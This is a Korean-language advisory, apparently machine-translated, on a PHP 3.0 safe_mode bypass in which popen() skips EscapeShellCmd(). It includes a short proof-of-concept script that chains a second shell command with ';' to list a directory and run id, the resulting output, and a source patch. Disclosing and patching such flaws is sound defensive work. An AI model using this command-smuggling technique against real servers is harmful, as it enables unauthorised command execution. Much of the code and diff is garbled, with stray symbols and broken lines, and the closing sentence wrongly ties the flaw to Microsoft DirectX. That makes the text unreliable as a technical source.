영향을 받는 시스템: PHP 3.00
----------------------------- --------------------------------------
설명:
PHP 버전 3.0은 HTML 임베디드 스크립팅 언어. 구문의 대부분은 C, Java 및 Perl에 이식되었으며
PHP의 기능과 결합되었습니다. 이 언어를 사용하면 웹 개발자는 동적 웹 페이지를 빠르게 만들 수 있습니다.
웹 서버에서 실행되고 사용자가 코드를 실행할 수 있도록 하기 때문에 PHP에는 'safe_mode'라는 보안 기능이 내장되어 있습니다. 이 기능은
PHP 작업이 가능한 웹루트 환경에서 명령 실행을 제어하는 데 사용됩니다. .
구현 메커니즘은 쉘 명령 시스템 호출을 강제로 실행하여 쉘 명령을 EscapeShellCmd()
함수로 전달하는 것입니다. 이 함수는 해당 명령이 웹루트 디렉토리 외부에서 실행될 수 없음을 확인하는 데 사용됩니다.
일부 PHP 버전에서는 popen() 명령을 사용할 때 EscapeShellCmd()가 실패하여 악의적인 사용자가
'popen' 시스템 호출을 사용하여 불법적인 작업을 수행할 수 있습니다.
---------------------------------- -- ----------------------------------
테스트 프로그램:
주의: 다음 프로그램은 (방법)은 안전 연구 및 교육 목적으로만 공격적일 수 있습니다. 자신의 책임하에 사용하십시오!
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r")
echo "$fp
n"; 🎜>while($line = fgets($fp, 1024)):
printf("%s
n", $line)
endwhile
pclose($fp); >phpinfo();
?>
출력 결과는 다음과 같습니다.
1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid= 30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
그리고 phpinfo()의 구성 값에서:
safe_mode 0 1
--------- ----- ------------------- ----- ------------------
제안:
색인: function/file.c
========= ===== ============================================ ===== ===
RCS 파일: /repository/php3/functions/file.c,v
버전 1.229 검색 중
버전 1.230 검색 중
diff -u -r1.229 -r1 .230
--- function/file.c 2000/01/01 04:31:15 1.229
function/file.c 2000/01/03 21:31:31 1.230
@@ -26 ,7 26,7 @@
| 저자: Rasmus Lerdorf
--------- ----- -------------------
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
/* $Id: file.c,v 1.230 2000 /01/03 21:31 :31 kk Exp $ */
#include "php.h"
#include
@@ -51,6 51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5
@@ -575,7 576,7 @@
pval *arg1, *arg2
FILE *fp
- char *p
char *p, *tmp = NULL
char *b, buf[1024]
TLS_VARS
@ -600,7 601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val)
}
- fp = popen( buf,p);
tmp = _php3_escapeshellcmd(buf);
fp = popen(tmp,p)
efree(tmp); /* 임시 복사본, 더 이상 필요하지 않음 */ >
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno))
RETURN_FALSE;
위 내용은 Microsoft directx의 내용을 포함하여 Microsoft directx PHP3 safe_mode 실패 취약점을 소개하고 있으며 PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.